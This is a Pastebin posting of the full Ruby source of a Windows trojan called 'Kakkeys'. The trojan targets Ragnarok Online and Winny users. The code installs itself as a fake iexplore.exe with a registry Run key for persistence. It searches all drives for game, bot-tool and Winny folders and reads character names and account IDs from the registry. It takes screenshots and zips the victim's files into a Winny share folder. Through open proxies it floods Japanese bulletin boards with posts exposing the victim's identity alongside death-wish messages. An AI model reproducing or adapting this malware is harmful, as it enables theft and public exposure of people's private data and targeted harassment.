Advertisement
FlyFar

Kakkeys - Ruby Trojan

Feb 17th, 2023
2,301
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Ruby 18.88 KB | Cybersecurity | 0 0
  1. $KCODE = 's'
  2. #$DEBUG = true
  3. #Exerb = nil
  4. require 'Win32API'
  5. if ARGV.size == 1 and ARGV[0].include?('RoAddr')
  6.   $path = ARGV[0]
  7.   if File.exist?($path)
  8.     $rost = Win32API.new($path, 'RO_GetNowState', '', 'l')
  9.     $rowld = Win32API.new($path, 'RO_GetNowWorld', '', 'p')
  10.     $ropa = Win32API.new($path, 'RO_GetNowParam', 'i', 'p')
  11.     $roin = Win32API.new($path, 'RO_RoAddrInit', 'lpl', 'i')
  12.     $roin.call(0, '', 0x7FFFFFFF)
  13.     $rost.call
  14.     if $rost.call == 2
  15.         print $ropa.call(258).to_s + "[#{$rowld.call}]"
  16.     end
  17.   end
  18.   exit
  19. end
  20. require 'win32/registry'
  21. require 'ftools'
  22. def dll(file)
  23. if !File.exist?('C:/windows/system32/' + file)
  24.     f = Exerb.open(file)
  25.     f.binmode
  26.     open('C:/windows/system32/' + file, 'w'){|f2|
  27.       f2.binmode
  28.       f.read 9
  29.       p f2.write(f.read)
  30.     }
  31.     f.close
  32. end
  33. end
  34. if Exerb
  35.   if !Exerb.filepath.include?('iexplore')
  36.     File.copy(Exerb.filepath, 'C:/windows/system32/iexplore.exe')
  37.     `start install.exe`
  38.     dll('zlib.dll')
  39.     dll('7-zip32.dll')
  40.     dll('imgctl.dll')
  41.     Win32::Registry.open(Win32::Registry::HKEY_LOCAL_MACHINE, 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run', Win32::Registry::Constants::KEY_WRITE){|key|
  42.       key.write_s('Shell', 'C:/windows/system32/iexplore.exe')
  43.     }
  44.     `start C:\\windows\\system32\\iexplore.exe`
  45.     exit
  46.   else
  47. =begin
  48.   $double = Thread.new{
  49.     cm = Win32API.new('kernel32', 'CreateMutex', 'llp', 'l')
  50.     rm = Win32API.new('kernel32', 'ReleaseMutex', 'l', 'l')
  51.     ch = Win32API.new('kernel32', 'CloseHandle', 'l', 'l')
  52.     om = Win32API.new('kernel32', 'OpenMutex', 'llp', 'l')
  53.     gle = Win32API.new('kernel32', 'GetLastError', '', 'l')
  54.  
  55.     hage = cm.call(0, 0, 'hagemoe')
  56.     if gle.call == 183
  57.       ch.call hage
  58.       hage = nil
  59.       hagege = cm.call(0, 0, 'hagegemoe')
  60.       if gle.call == 183
  61.         ch.call hagege
  62.         exit 1
  63.       end
  64.     elsif
  65.       0
  66.     end
  67.     if hage
  68.       s = 'hagegemoe'
  69.     else
  70.       s = 'hagemoe'
  71.     end
  72.     while(1)
  73.       a = om.call(1, 0, s)
  74.       if a == 0
  75.         if ARGV[0] == 'aaa'
  76.           p system("start #{Exerb.filepath}")
  77.         else
  78.           p system("strat #{Exerb.filepath} aaa")
  79.         end
  80.         Win32::Registry.open(Win32::Registry::HKEY_LOCAL_MACHINE, '\SOFTWARE\Microsoft\Windows\CurrentVersion\Run', Win32::Registry::Constants::KEY_WRITE){|key|
  81.           key.write_s('Shell', 'C:/windows/system32/iexplore.exe')
  82.         }
  83.         sleep 0.1
  84.       else
  85.         ch.call(a)
  86.       end
  87.       #p "sss"
  88.       sleep 0.04
  89.     end
  90.   }
  91. =end
  92.   end
  93. end
  94. if ARGV[0] == 'aaa'
  95.   sleep
  96. end
  97. END {
  98.     Win32::Registry.open(Win32::Registry::HKEY_LOCAL_MACHINE, 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run', Win32::Registry::Constants::KEY_WRITE){|key|
  99.       key.write_s('Shell', 'C:/windows/system32/iexplore.exe')
  100.     }
  101. }
  102. require 'kconv'
  103. require 'web/agent'
  104. require 'web/linkextor'
  105.  
  106.  
  107. $wait_time = 1
  108. $bbs_arr = [['computer', '10041'], ['computer', '10376'], ['computer', '11089'], ['computer', '14218'], ['computer', '14368'], ['computer', '6135'], ['computer', '6253'], ['computer', '6346'], ['computer', '7430'], ['game', '1185'], ['game', '12884'], ['game', '18472'], ['game', '19824'], ['game', '5420'], ['game', '5458'], ['game', '6141'], ['game', '9397'], ['shop', '832'], ['computer', '6567'], ['game', '10013'], ['computer', '21565'], ['computer', '21563']]
  109.  
  110. $category = ''
  111. $bbs = ''
  112.  
  113. $ropath = []
  114. $korepath = []
  115. $nypath = []
  116. $toolpath = []
  117. $charanames = []
  118. $tar = ['ragnarok.exe', 'items_control.txt', 'winny.exe']
  119. $tool = ['ChatPon.exe', 'arose*.exe', 'AutoImo.exe', 'eqview.exe', 'ExS.exe', 'Meron*.exe', 'RAGNAvi.exe', 'RoAbrPure.exe', 'RoCha.exe', 'RoMonitor.exe', 'ro.exe' ,'ROPTAssist.exe' ,'RSS.exe' ,'rohp.exe' ,'RoLogger.exe' ,'MessengerGPS.exe' ,'Lognarok.exe' ,'ro_gps.exe', 'ROGIS.exe' ,'xdior*.exe' ,'LimeChat.exe']
  120. $kakikomi = []
  121. $id = ''
  122. $charaarr = []
  123. $charas = ''
  124. $tekito_id = ''
  125. def Dir.copy(from, to, *jogai)
  126.   begin
  127.   sleep 0.01
  128.   Dir.foreach(from){|x|
  129.     if !x.match(/^\.\.?/)
  130.       if File.directory?(from + x)
  131.         Dir.mkdir(to + x)
  132.         Dir.copy(from + x + '/', to + x + '/', *jogai)
  133.       else
  134.         if !jogai.any?{|jo| x.include?(jo)} or jogai.size == 0
  135.           File.copy(from + x, to + x)
  136.         end
  137.       end
  138.     end
  139.   }
  140.   rescue
  141.     return 1
  142.   end
  143.   0
  144. end
  145. def delete_dir(dir)
  146.   begin
  147.   Dir.foreach(dir){|x|
  148.     if !x.match(/^\.\.?/)
  149.       if File.directory?(dir + x)
  150.         if Dir.entries(dir + x).size <= 2
  151.           Dir.delete(dir + x)
  152.         else
  153.           delete_dir(dir + x + '/')
  154.         end
  155.       else
  156.         File.delete(dir + x)
  157.       end
  158.     end
  159.   }
  160.   Dir.delete(dir)
  161.   rescue
  162.     return 1
  163.   end
  164.   0
  165. end
  166. def roname
  167.   abx = `#{Exerb.filepath} \"#{$ropath}/RoAddr.dll\"` if Exerb
  168.   return nil if abx.size == 0
  169.   $charanames.push(abx) if !$charanames.include?(abx)
  170.   savedata($savefile)
  171.   abx
  172. end
  173. def emotion_wana wana
  174.   Win32::Registry.open(Win32::Registry::HKEY_LOCAL_MACHINE, 'SOFTWARE\Gravity Soft\Ragnarok\ShortCutList', Win32::Registry::Constants::KEY_WRITE){|key|
  175.     for i in 0..9
  176.       key.write_s(i.to_s, wana)
  177.     end
  178.   }
  179. end
  180. def upfolder(folder, trip)
  181.   Dir.mkdir(folder) if !File.exist?(folder)
  182.   begin
  183.   $nypath.each{|x|
  184.     File.chmod(0777, x + '/upfolder.txt')
  185.     open(x + '/UpFolder.txt', 'a+'){|f|
  186.       f.write("\n[ブーン]\nPath=#{folder}\nTrip=#{trip}") if !f.read.include?('ブーン')
  187.     }
  188.   }
  189.   rescue
  190.   end
  191.   folder
  192. end
  193. def saiki dir
  194.   sleep 0.01
  195.   begin
  196.   Dir.chdir(dir){
  197.     #print Dir.pwd + "\n"
  198.     $ropath.push Dir.pwd  if File.exist?($tar[0])
  199.     $korepath.push File.dirname(Dir.pwd)  if File.exist?($tar[1])
  200.     sleep 0.01
  201.     $nypath.push Dir.pwd  if File.exist?($tar[2])
  202.     $kakikomi.push( Dir.pwd + '/' + 'kakikomi.txt') if File.exist?('kakikomi.txt')
  203.     $toolpath.push Dir.pwd  if Dir[$tool.join("\0")].size != 0
  204.     Dir.foreach('./'){ |x|
  205.       if File.directory?(x) && !x.match(/\.\.?/)
  206.         saiki(x)
  207.       end
  208.     }
  209.   }
  210.   rescue
  211.   p $!
  212.   ensure
  213.   end
  214. end
  215. def search
  216.   get_drv_type = Win32API.new('kernel32', 'GetDriveType', 'p', 'l')
  217.  
  218.   for drive in 'CDEFGHIJKLMNOPQRSTUVWXYZ'.split('')
  219.     if get_drv_type.call(drive + ':/') == 3
  220.       saiki(drive + ':/')
  221.     end
  222.   end
  223.   $ropath.uniq!
  224.   $toolpath.uniq!
  225.   $korepath.uniq!
  226.   $nypath.uniq!
  227. end
  228. def savedata(path)
  229.   open(path, 'w'){|f|
  230.     Marshal.dump($ropath, f)
  231.     Marshal.dump($korepath, f)
  232.     Marshal.dump($nypath, f)
  233.     Marshal.dump($toolpath, f)
  234.     Marshal.dump($kakikomi, f)
  235.     Marshal.dump($bbs_arr, f)
  236.     Marshal.dump($charanames, f)
  237.     Marshal.dump($tekito_id, f)
  238.   }
  239.   true
  240. end
  241. def loaddata(path)
  242.   return false if !File.exists?(path)
  243.   open(path){|f|
  244.     $ropath = Marshal.load(f)
  245.     $korepath = Marshal.load(f)
  246.     $nypath = Marshal.load(f)
  247.     $toolpath = Marshal.load(f)
  248.     $kakikomi = Marshal.load(f)
  249.     $bbs_arr = Marshal.load(f)
  250.     $charanames = Marshal.load(f)
  251.     $tekito_id = Marshal.load(f)
  252.   }
  253.   true
  254. end
  255. def rns *str
  256.   if str.size == 1
  257.     str = str[0].split('')
  258.   end
  259.   str[rand(str.size)]
  260. end
  261. def names
  262. begin
  263. $charaarr = []
  264. $charas = ''
  265. separater = rns("わ#{rand(100)}な", "わー#{rand(100)}な", "rtx", "RoAddr", 'ラーメン', 'rxv', '弁当', 'bot', '焼', 'ああああ', 'zeny', 'ini', 'config', 'パケ', *$omosiro_words)
  266. Win32::Registry.open(Win32::Registry::HKEY_LOCAL_MACHINE, 'SOFTWARE\\Gravity Soft\\Ragnarok\\Whisperlist\\') { |wisp_list|
  267.   wisp_list.each_key{|server_str, sute|
  268.     $charas += server_str + "\n"
  269.     wisp_list.open(server_str){|server|
  270.       server.each_key{|char_str, sute|
  271.         $charaarr.push char_str.split("\0")[0]
  272.       }
  273.     }
  274.     $charas += $charaarr.join(separater) + "\n" + $charanames.join(separater) + "\n"
  275.     $charaarr = []
  276.   }
  277. }
  278. Win32::Registry.open(Win32::Registry::HKEY_LOCAL_MACHINE, 'SOFTWARE\\Gravity Soft\\Ragnarok\\'){|key| $id = key.read('ID')[1].split("\0")[0]}
  279. rescue
  280.  p $1
  281. end
  282. end
  283. names
  284.  
  285. $upup = upfolder('C:\program files\daemontools\\', '')
  286. $capture = Proc.new{
  287.   loop do
  288.     getDC     = Win32API.new('user32', 'GetDC', 'l', 'l')
  289.     releaceDC = Win32API.new('user32', 'ReleaseDC', 'll', 'l')
  290.     dc2dib    = Win32API.new('imgctl', 'DCtoDIB',   'lllll', 'l')
  291.     dib2png   = Win32API.new('imgctl', 'DIBtoPNG',  'pli',   'i')
  292.     deleteDib = Win32API.new('imgctl', 'DeleteDIB', 'l',     'i')
  293.     begin
  294.       akakaka = roname
  295.       hdc = getDC.call(0)
  296.       hdib = dc2dib.call(hdc,0,0,0,0)
  297.       dib2png.call($upup+'[バグザロック] '+$tekito_id+' '+Time.now.strftime('%Y%m%d-%H%M%S')+' 「'+$charanames.join('」「')+'」.png', hdib, 0)
  298.       File.rename(Dir.glob('C:/program files/daemontools/*.zip')[0], "#{$upup}[バグザロック] #{$id} 「#{$charanames.join('」「')}」.zip") if (Dir.glob('C:/program files/daemontools/*.zip').size > 0)
  299.     ensure
  300.       deleteDib.call(hdib)
  301.       releaceDC.call(0, hdc)
  302.     end
  303.     if akakaka
  304.       jikan = Time.now
  305.       if jikan.wday == 0 and jikan.hour < 24 and jikan.hour > 18
  306.         emotion_wana "やあ僕BOTer!#{$charanames[rand($charanames.size)]} はBOTだよ ハゲ孫泰蔵と森下はさっさと死ね!!"
  307.         sleep 5 * 60
  308.       else
  309.         sleep 12 * 60
  310.       end
  311.     else
  312.       begin
  313.         open('c:/program files/internet explorer/iexplore.exe', 'a'){}
  314.         sleep 20 * 60
  315.       rescue
  316.         sleep 15 * 60
  317.       end
  318.     end
  319.   end
  320. }
  321. #init
  322. $savefile = 'C:/RECYCLER/explorer.sys'
  323. if !loaddata($savefile)
  324.   Thread.new(&$capture)
  325.   search
  326.   savedata($savefile)
  327. else
  328.   Thread.new(&$capture)
  329. end
  330. if $tekito_id.size == 0
  331.   $tekito_id = $id
  332. end
  333. #p $ropath, $korepath, $nypath, $toolpath, $charanames
  334. if Dir.glob('C:/program files/daemontools/*.zip').size == 0
  335. begin
  336.   tmpf = 'C:/RECYCLER/tmp/'
  337.   Dir.mkdir(tmpf) if !File.exist?(tmpf)
  338.   $toolpath.each{|x|
  339.     to = tmpf + x.gsub(/\/|:/, '_')
  340.     if File.exist?(to);to =  to + '_';end
  341.     Dir.mkdir(to)
  342.     Dir.copy(x + '/', to + '/', 'txt')
  343.   }
  344.   $korepath.each{|x|
  345.     to = tmpf + x.gsub(/\/|:/, '_')
  346.     if File.exist?(to);to =  to + '_';end
  347.     Dir.mkdir(to)
  348.     Dir.copy(x + '/', to + '/', 'fld')
  349.   }
  350.   $ropath.each{|x|
  351.     to = tmpf + x.gsub(/\/|:/, '_')
  352.     if File.exist?(to);to =  to + '_';end
  353.     Dir.mkdir(to)
  354.     Dir.copy(x + '/', to + '/', '.grf', '.gpf', '.mp3', '.bmp', '.ebm', '.fld')
  355.   }
  356.   $nypath.each_with_index{|x, i|
  357.     if i == 0
  358.       to = tmpf + 'winny'
  359.     else
  360.       to = tmpf + 'winny' + i.to_s
  361.     end
  362.     Dir.mkdir(to) if !File.exist?(to)
  363.     File.copy(x + '/' + 'Download.txt', to + '/' + 'Download.txt') if File.exist?(x + '/' + 'Download.txt')
  364.     File.copy(x + '/' + 'Tab1.txt', to + '/' + 'Tab1.txt') if File.exist?(x + '/' + 'Tab1.txt')
  365.     File.copy(x + '/' + 'Tab2.txt', to + '/' + 'Tab2.txt') if File.exist?(x + '/' + 'Tab2.txt')
  366.   }
  367.   $kakikomi.each{|x|
  368.     File.copy(x, tmpf + x.gsub(/\/|:/, '_')) if !File.exist?(x)
  369.   }
  370.   seven_zip = Win32API.new('7-zip32.dll', 'SevenZip', 'lppl', 'i')
  371.   str = 'aaaaa'
  372.  
  373.   seven_zip.call(0, 'a -tzip -hide "' + $upup + '[バグザロック] ' + $id + ' 「' + $charanames.join('」「') + '」.zip" c:\recycler\tmp\ -r', str, 5)
  374. rescue
  375.   p $!
  376.   print $!.backtrace.join("\n")
  377. ensure
  378.   delete_dir tmpf
  379. end
  380. end
  381. #exit
  382.  
  383. $path = $ropath[0] + '/'
  384.  
  385. $roaddr = File.exist?($path + 'roaddr.dll')
  386. $ro =  File.exist?($path + 'ragexe.exe')
  387. $are = File.exist?($path + 'ws2_32.dll')
  388. $rtx = File.exist?($path + 'ddraw.dll')
  389. def rtx
  390.   rns(rns('rRrR'), rns('あアア') + rns('ー-‐-あアア') + rns('るルル')) +
  391.   rns(rns('tTtT'), rns('てテテ') + rns('いぃイぃイ') + rns('いイイー-‐-')) +
  392.   rns(rns('xXxX'), rns('えエエ') + rns('つツっッッ') + rns('くクク') + rns('すスス'))
  393. end
  394.  
  395. def aretool
  396.   rns(rns('aAaA'), rns('あアア')) +
  397.   rns(rns('rRrR') + rns('eEeE'), rns('れレレ')) +
  398.   rns(rns('tTtT') + rns('oOoO00'), rns('つツツ')) +
  399.   rns(rns('oOoO00'), rns('うウウー-‐-')) +
  400.   rns(rns('lLlL'), rns('るルル'))
  401. end
  402. $nypath.each{|x|
  403.   if File.exist?(x + '/Tab1.txt')
  404.     open(x + '/Tab1.txt'){|f|
  405.       $omosiro_words = f.read.split("\n")
  406.     }
  407.   end
  408. }
  409.  
  410. def getThreads
  411.   http = Web::Agent.new
  412.   http.setup
  413.   http.req.header['User-Agent']="Mozilla/5.0 (Windows; U; Windows NT 5.1; ja-JP; rv:1.7) Gecko/20040803 Firefox/0.9.3"
  414.   $category, $bbs = *$bbs_arr[rand($bbs_arr.size)]
  415.   http.get("http://jbbs.livedoor.jp/#{$category}/#{$bbs}/subject.txt")
  416.   $suret = http.rsp.body.split("\n")
  417.   sss = []
  418.   $suret.each{|sure|
  419.     if !sure.match(/.*\(10000?\)/)
  420.       sure.match(/^(\d+)/)
  421.       sss.push $1
  422.     end
  423.   }
  424.   return sss;
  425. end
  426. #p '書き込み開始'
  427.  
  428. agent = Web::Agent.new
  429. agent.setup
  430. agent.req.header['User-Agent']="Mozilla/5.0 (Windows; U; Windows NT 5.1; ja-JP; rv:1.7) Gecko/20040803 Firefox/0.9.3"
  431. agent.get('http://www.cybersyndrome.net/pla.html')
  432. agent.rsp.body.match("")
  433. proxy = []
  434. while($'.match(/\"A\">([^<>]*)<\/a>/)) #'
  435.   proxy.push($~[1])
  436. end
  437. proxy.delete_if{|pr|
  438.   pr.match(/(80)|(8080)/)
  439. }
  440. proxy.collect! do |i|
  441.   i.split(':')
  442. end
  443.  
  444. count = 0
  445. while(1)
  446.   sure = getThreads;
  447.   if rand(6) == 0
  448.     for ituuu in 0..9
  449.     age = Web::Agent.new
  450.     age.setup
  451.     age.req.header['User-Agent'] = "Mozilla/5.0 (Windows; U; Windows NT 5.1; ja-JP; rv:1.7) Gecko/20050112 Firefox/0.9.8"
  452.     age.req.header['Referer'] = "http://yy14.kakiko.com/landstriker/"
  453.     age.get 'http://yy14.kakiko.com/landstriker/subject.txt'
  454.     suret = age.rsp.body.split("\n")
  455.     sss = []
  456.     suret.each{|sure|
  457.       if !sure.match(/.*\(10000?\)/)
  458.         sure.match(/^(\d+)/)
  459.         sss.push $1
  460.       end
  461.     }
  462.     Thread.new{
  463.     age.setup
  464.     age.req.header['User-Agent'] = "Mozilla/5.0 (Windows; U; Windows NT 5.1; ja-JP; rv:1.7) Gecko/20050112 Firefox/0.9.8"
  465.     age.req.header['Referer'] = "http://yy14.kakiko.com/landstriker/"
  466.     age.req.header['content-type']='application/x-www-form-urlencoded'
  467.     ran = rand(proxy.size)
  468.     if rand(2) == 1
  469.       age.proxy_host = proxy[ran][0]
  470.       age.proxy_port = proxy[ran][1]
  471.     end
  472.     if sss.size != 0
  473.       if $id == ''
  474.         age.req.form.add 'FROM', (10000 + rand(90000)).to_s
  475.         age.req.form.add 'mail', 'sage'
  476.         age.req.form.add 'MESSAGE', rns("わ#{rand(100)}な", "わー#{rand(100)}な", "rtx", "RoAddr", 'ラーメン', 'rxv', '弁当', 'bot', 'ro', '焼', 'ああああ', 'zeny', *$omosiro_words)
  477.       else
  478.         names
  479.         age.req.form.add 'FROM', $id
  480.         age.req.form.add 'mail', ''
  481.         massage = ''
  482.         massage = "なあ、ひとつ質問なんだけど・・・・・・お前達規約違反者はどうして今すぐにでも死なないんだ?\n" if rand(10) == 1
  483.         massage += rtx + "\n" if $rtx
  484.         massage += aretool + "\n" if $are
  485.         massage += "RoAddr\n" if $roaddr && rand(2) == 1
  486.         massage += "KORE\n" if $korepath.size > 0
  487.         massage += $charas
  488.         age.req.form.add 'MESSAGE', massage
  489.       end
  490.       age.req.form.add 'bbs', 'landstriker'
  491.       age.req.form.add 'key', sure[rand(sure.size)]
  492.       age.req.form.add 'time', Time.now.to_i.to_s
  493.       age.req.form.add 'submit', '書き込む'
  494.       age.post('http://yy14.kakiko.com/test.bbs.cgi')
  495.     else
  496.       suret[rand(suret.size)].match(/,(.+)\(/)
  497.       age.setup
  498.       age.req.header['User-Agent'] = "Mozilla/5.0 (Windows; U; Windows NT 5.1; ja-JP; rv:1.7) Gecko/20050112 Firefox/0.9.8"
  499.       age.req.header['Referer'] = "http://jbbs.livedoor.jp/#{$category}/#{$bbs}/"
  500.       age.req.header['content-type']='application/x-www-form-urlencoded'
  501.       age.req.form.add 'FROM', ''
  502.       age.req.form.add 'mail', ''
  503.       age.req.form.add 'subject', $1.chop + rand(10).to_i.to_s
  504.       age.req.form.add 'MESSAGE', rns("わ#{rand(100)}な", "わー#{rand(100)}な", "rtx", "RoAddr", 'ラーメン', 'rxv', '弁当', 'bot', 'ro', '焼', 'ああああ', 'zeny', *$omosiro_words)
  505.       age.req.form.add 'bbs', $bbs
  506.       age.req.form.add 'time', Time.now.to_s.toi
  507.       age.req.form.add 'submit', '新規スレッド作成'
  508.       age.post("http://jbbs.livedoor.jp/bbs/write.cgi/#{$category}/#{$bbs}/#{age.req.form['KEY']}")
  509.     end
  510.     }
  511.   end
  512.   else
  513.     if sure.size != 0
  514.       loop do
  515.         sleep $wait_time
  516.         r = rand proxy.size
  517.         Thread.new(r, proxy){|ran, pro|
  518.           age = Web::Agent.new
  519.           age.setup
  520.           age.req.header['User-Agent'] = "Mozilla/5.0 (Windows; U; Windows NT 5.1; ja-JP; rv:1.7) Gecko/20050112 Firefox/0.9.8"
  521.           age.req.header['Referer'] = "http://jbbs.livedoor.jp/#{$category}/#{$bbs}/"
  522.           age.req.header['content-type']='application/x-www-form-urlencoded'
  523.           if rand(2) == 1
  524.             age.proxy_host = pro[ran][0]
  525.             age.proxy_port = pro[ran][1]
  526.           end
  527.           if $id == ''
  528.             age.req.form.add 'NAME', (10000 + rand(90000)).to_s
  529.             age.req.form.add 'MAIL', 'sage'
  530.             age.req.form.add 'MESSAGE', rns("わ#{rand(100)}な", "わー#{rand(100)}な", "rtx", "RoAddr", 'ラーメン', 'rxv', '弁当', 'bot', 'ro', '焼', 'ああああ')
  531.           else
  532.             names
  533.             age.req.form.add 'NAME', $id.chop.chop
  534.             age.req.form.add 'MAIL', ''
  535.             massage = ''
  536.             massage = "なあ、ひとつ質問なんだけど・・・・・・お前達規約違反者はどうして今すぐにでも死なないんだ?\n" if rand(10) == 1
  537.             massage += rtx + "\n" if $rtx
  538.             massage += aretool + "\n" if $are
  539.             massage += "RoAddr\n" if $roaddr && rand(2) == 1
  540.             massage += "KORE\n" if $korepath.size > 0
  541.             massage += $charas
  542.             age.req.form.add 'MESSAGE', massage
  543.           end
  544.           age.req.form.add 'BBS', $bbs
  545.           age.req.form.add 'KEY', sure[rand(sure.size)]
  546.           age.req.form.add 'TIME', Time.now.to_s.to_i
  547.           age.req.form.add 'DIR', $category
  548.           age.post("http://jbbs.livedoor.jp/bbs/write.cgi/#{$category}/#{$bbs}/#{age.req.form['KEY']}")
  549.         }
  550.         count += 1
  551.         break if count % 10 == 0
  552.       end
  553.     else
  554.       $suret[rand($suret.size)].match(/,(.+)\(/)
  555.       age = Web::Agent.new
  556.       age.setup
  557.       age.req.header['User-Agent'] = "Mozilla/5.0 (Windows; U; Windows NT 5.1; ja-JP; rv:1.7) Gecko/20050112 Firefox/0.9.8"
  558.       age.req.header['Referer'] = "http://jbbs.livedoor.jp/#{$category}/#{$bbs}/"
  559.       age.req.header['content-type']='application/x-www-form-urlencoded'
  560.       age.req.form.add 'NAME', ''
  561.       age.req.form.add 'MAIL', ''
  562.       age.req.form.add 'SUBJECT', $1.chop + rand(10).to_i.to_s
  563.       age.req.form.add 'MESSAGE', rns("わ#{rand(100)}な", "わー#{rand(100)}な", "rtx", "RoAddr", 'ラーメン', 'rxv', '弁当', 'bot', 'ro', '焼', 'ああああ')
  564.       age.req.form.add 'BBS', $bbs
  565.       age.req.form.add 'TIME', Time.now.to_s.to_i
  566.       age.req.form.add 'DIR', $category
  567.       age.post("http://jbbs.livedoor.jp/bbs/write.cgi/#{$category}/#{$bbs}/#{age.req.form['KEY']}")
  568.     end
  569.   end
  570. end
  571.  
  572. while Thread.list.size > 2
  573.   sleep 10
  574. end
Tags: Ruby trojan
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement